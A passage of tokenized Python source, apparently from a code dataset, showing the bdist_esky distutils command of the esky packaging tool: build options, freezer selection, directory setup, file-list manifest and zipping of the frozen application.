"bootstrapp", "ing", " ", "exe", "s", " ", "with", " ", "pypy", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "bundle", "-", "msvcrt", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "whe", "ther", " ", "to", " ", "bundle", " ", "MS", "VC", "RT", " ", "as", " ", "private", " ", "assem", "bly", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "include", "s", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "list", " ", "of", " ", "module", "s", " ", "to", " ", "specifica", "ll", "y", " ", "include", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "excludes", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "list", " ", "of", " ", "module", "s", " ", "to", " ", "specifica", "ll", "y", " ", "exclu", "de", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "don", "t", "-", "run", "-", "start", "up", "-", "hook", "s", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "don", "'", "t", " ", "force", " ", "executi", "on", " ", "of", " ", "es", "ky", ".", "run", "\\u", "start", "up", "\\u", "hook", "s", "()\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "pre", "-", "freez", "e-", "callback", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "function", " ", "to", " ", "call", " ", "just", " ", "bef", "ore", " ", "startin", "g", " ", "to", " ", "freez", "e", " ", "the", " ", "app", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "pre", "-", "zip", "-", "callback", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "function", " ", "to", " ", "call", " ", "just", " ", "bef", "ore", " ", "startin", "g", " ", "to", " ", "zip", " ", "up", " ", "the", " ", "app", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "enable", "-", "appd", "ata", "-", "dir", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "enable", " ", "new", " ", "'", "appd", "ata", "'", " ", "director", "y", " ", "layout", " ", "(", "will", " ", "go", " ", "awa", "y", " ", "after", " ", "the", " ", "0.", "9", ".", "X", " ", "series", ")\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "detached", "-", "boots", "trap", "-", "librar", "y", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "By", " ", "default", " ", "Es", "ky", " ", "append", "s", " ", "the", " ", "librar", "y", ".", "zip", " ", "to", " ", "the", " ", "boots", "trap", " ", "executable", " ", "whe", "n", " ", "usi", "ng", " ", "CX", "\\u", "Freez", "e", ",", " ", "this", " ", "will", " ", "tell", " ", "es", "ky", " ", "to", " ", "not", " ", "do", " ", "tha", "t", ",", " ", "but", " ", "create", " ", "a", " ", "separate", " ", "librar", "y", ".", "zip", " ", "inst", "ead", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "compress", "='_", ",_", "'", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Compress", "ion", " ", "options", " ", "of", " ", "the", " ", "Es", "ky", ",", " ", "use", " ", "lower", " ", "case", " ", "for", " ", "compress", "ed", " ", "or", " ", "upper", " ", "case", " ", "for", " ", "uncompressed", ",", " ", "currentl", "y", " ", "only", " ", "support", " ", "zip", " ", "files", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "boolean", "\\u", "options_", "=_", "[_", "\"", "bundle", "-", "msvcrt", "\"_", ",_", "\"", "don", "t", "-", "run", "-", "start", "up", "-", "hook", "s", "\"_", ",_", "\"", "compile", "-", "boots", "trap", "-", "exe", "s", "\"_", ",_", "\"", "enable", "-", "appd", "ata", "-", "dir", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\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L\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "initialize", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "dist", "\\u", "dir_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "includes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "excludes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "freez", "er", "\\u", "module_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "freez", "er", "\\u", "options_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bundle", "\\u", "msvcrt", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "don", "t", "\\u", "run", "\\u", "start", "up", "\\u", "hooks_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "boots", "trap", "\\u", "module_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "boots", "trap", "\\u", "code_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "compile", "\\u", "boots", "trap", "\\u", "exe", "s_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "compile", "d\\u", "exe", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "pre", "\\u", "freez", "e\\u", "callback_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "pre", "\\u", "zip", "\\u", "callback_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "enable", "\\u", "appd", "ata", "\\u", "dir_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "detached", "\\u", "boots", "trap", "\\u", "library_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "compress_", "=_", "'", "zip", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "finalize", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "self_", "._", "compress_", "in_", "(_", "False_", ",_", "None_", ",_", "'", "fal", "se", "'_", ",_", "'", "none", "'_", ",_", "'", "zip", "'_", ",_", "'", "ZI", "P", "'_", ")_", ",_", "'", "Ba", "d", " ", "options", " ", "pass", "ed", " ", "to", " ", "compress", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "set\\u", "undefined", "\\u", "options_", "(_", "'", "bdist", "'_", ",_", "(_", "'", "dist", "\\u", "dir", "'_", ",_", "'", "dist", "\\u", "dir", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "compile", "\\u", "boots", "trap", "\\u", "exe", "s_", "and_", "pypy", "c_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "PY", "PY", "C", "\\u", "ERROR_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "freez", "er", "\\u", "module_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "freez", "er", "\\u", "module_", "in_", "(_", "\"", "py2", "exe", "\"_", ",_", "\"", "py2", "app", "\"_", ",_", "\"", "bb", "freez", "e", "\"_", ",_", "\"", "cx", "freez", "e", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "freez", "er", "\\u", "module_", "=_", "\\u", "FREE", "ZE", "RS_", "[_", "freez", "er", "\\u", "module_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "freez", "er", "\\u", "module_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "=_", "\"", "no", " ", "support", "ed", " ", "freez", "er", " ", "module", "s", " ", "found", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "+=_", "\"", " ", "(", "try", " ", "install", "ing", " ", "bb", "freez", "e", ")\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Run", "time", "Error_", "(_", "err_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "freez", "er_", "=_", "\\u", "FREE", "ZE", "RS_", "[_", "self_", "._", "freez", "er", "\\u", "module_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "=_", "\"", "freez", "er", " ", "module", " ", "not", " ", "support", "ed", ":", " ", "'%", "s", "'\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "err_", "%_", "(_", "self_", "._", "freez", "er", "\\u", "module_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Run", "time", "Error_", "(_", "err_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "freez", "er_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "err_", "=_", "\"", "freez", "er", " ", "module", " ", "not", " ", "found", ":", " ", "'%", "s", "'\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "err_", "%_", "(_", "self_", "._", "freez", "er", "\\u", "module_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Run", "time", "Error_", "(_", "err_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "freez", "er", "\\u", "module_", "=_", "freez", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "self_", "._", "pre", "\\u", "freez", "e\\u", "callback_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pre", "\\u", "freez", "e\\u", "callback_", "=_", "self_", "._", "\\u", "name2", "func_", "(_", "self_", "._", "pre", "\\u", "freez", "e\\u", "callback_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "self_", "._", "pre", "\\u", "zip", "\\u", "callback_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pre", "\\u", "zip", "\\u", "callback_", "=_", "self_", "._", "\\u", "name2", "func_", "(_", "self_", "._", "pre", "\\u", "zip", "\\u", "callback_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "name2", "func_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Convert", " ", "a", " ", "dot", "ted", " ", "name", " ", "int", "o", " ", "a", " ", "function", " ", "reference", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\".\"_", "not_", "in_", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "globals_", "(_", ")_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "modname_", ",_", "funcname_", "=_", "name_", "._", "rsplit_", "(_", "\".\"_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod_", "=_", "\\u\\u", "import\\u\\u_", "(_", "modname_", ",_", "froml", "ist_", "=_", "[_", "funcname_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "getattr_", "(_", "mod_", ",_", "funcname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tempdir_", "=_", "tempfile_", "._", "mkdtemp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reall", "y", "\\u", "rmtree_", "(_", "self_", "._", "tempdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "run", "\\u", "initialise", "\\u", "dirs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "pre", "\\u", "freez", "e\\u", "callback_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pre", "\\u", "freez", "e\\u", "callback_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "run", "\\u", "freez", "e\\u", "scripts_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "pre", "\\u", "zip", "\\u", "callback_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pre", "\\u", "zip", "\\u", "callback_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "generat", "e\\u", "filelist", "\\u", "manifest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "run", "\\u", "create", "\\u", "zipfile_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "run", "\\u", "initialise", "\\u", "dirs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "the", " ", "dirs", " ", "int", "o", " ", "whi", "ch", " ", "to", " ", "freez", "e", " ", "the", " ", "app", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fullname_", "=_", "self_", "._", "distribution_", "._", "get", "\\u", "fullname_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform_", "=_", "get", "\\u", "platform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "boots", "trap", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "dist", "\\u", "dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"%", "s", ".", "%", "s", "\"_", "%_", "(_", "fullname_", ",_", "platform_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "enable", "\\u", "appd", "ata", "\\u", "dir_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "freez", "e\\u", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ",_", "ES", "KY", "\\u", "APP", "DATA", "\\u", "DIR_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"%", "s", ".", "%", "s", "\"_", "%_", "(_", "fullname_", ",_", "platform_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "freez", "e\\u", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"%", "s", ".", "%", "s", "\"_", "%_", "(_", "fullname_", ",_", "platform_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reall", "y", "\\u", "rmtree_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "os_", "._", "makedirs_", "(_", "self_", "._", "freez", "e\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "run", "\\u", "freez", "e\\u", "scripts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Call", " ", "the", " ", "selecte", "d", " ", "freez", "er", " ", "module", " ", "to", " ", "freez", "e", " ", "the", " ", "scripts", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fullname_", "=_", "self_", "._", "distribution_", "._", "get", "\\u", "fullname_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform_", "=_", "get", "\\u", "platform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "freez", "er", "\\u", "module_", "._", "freeze_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "platform_", "!=_", "\"", "win32", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lockfile", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "freez", "e\\u", "dir_", ",_", "ES", "KY", "\\u", "CONTR", "OL", "\\u", "DIR_", ",_", "\"", "lockfile", ".", "txt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "lockfile", "_", ",_", "\"", "w", "\"_", ")_", "as_", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lf_", "._", "write_", "(_", "\"", "this", " ", "file", " ", "is", " ", "used", " ", "by", " ", "es", "ky", " ", "to", " ", "lock", " ", "the", " ", "version", " ", "dir", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "generat", "e\\u", "filelist", "\\u", "manifest_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "list", " ", "of", " ", "all", " ", "the", " ", "files", " ", "in", " ", "applica", "tion", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filelist", "\\u", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "freez", "e\\u", "dir_", ",_", "ES", "KY", "\\u", "CONTR", "OL", "\\u", "DIR_", ",_", "es", "ky_", "._", "patch_", "._", "ES", "KY", "\\u", "FILE", "LIST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "es", "ky", "\\u", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "root_", ",_", "dirs_", ",_", "files_", "in_", "os_", "._", "walk_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "f_", "in_", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "es", "ky", "\\u", "files_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "relpath_", "(_", "root_", ",_", "self_", "._", "boots", "trap", "\\u", "dir_", ")_", ",_", "f_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "open_", "(_", "filelist", "\\u", "file_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "json_", "._", "dumps_", "(_", "es", "ky", "\\u", "files_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "run", "\\u", "create", "\\u", "zipfile_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Zip", " ", "up", " ", "the", " ", "final", " ", "distribu", "tion", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "compress_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fullname_", "=_", "self_", "._", "distribution_", "._", "get", "\\u", "fullname_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform_", "=_", "get", "\\u", "platform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zf", "name_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "dist", "\\u", "dir_", ",_", "\"%", "s", ".", "%", "s", ".", "zip", "\"_", "%_", "(_", "fullname_", ",_", "platform_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "self_", "._", "freez", "er", "\\u", "module_", ",_", "\"", "zip", "it", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "freez", "er", "\\u", "module_", "._", "zip", "it_", "(_", "self_", ",_", "self_", "._", "boots", "trap", "\\u", "dir_", ",_", "zf", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "compress_", "==_", "'", "zip", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"", "zip", "ping", " ", "up", " ", "the", " ", "es", "ky", " ", "with", " ", "compress", "ion", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "zipfile_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ",_", "zf", "name_", ",_", "compress_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reall", "y", "\\u", "rmtree_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "compress_", "==_", "'", "ZI", "P", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"", "zip", "ping", " ", "up", " ", "the", " ", "es", "ky", " ", "with", "out", " ", "compress", "ion", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "zipfile_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ",_", "zf", "name_", ",_", "compress_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reall", "y", "\\u", "rmtree_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "(_", "\"", "To", " ", "zip", " ", "the", " ", "es", "ky", " ", "use", " ", "compress", " ", "or", " ", "c", " ", "set", " ", "to", " ", "ZI", "P", " ", "or", " ", "zip", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "obj2", "code_", "(_", "self_", ",_", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Convert", " ", "an", " ", "object", " ", "to", " ", "some", " ", "python", " ", "source", " ", "code", ".", "\\", 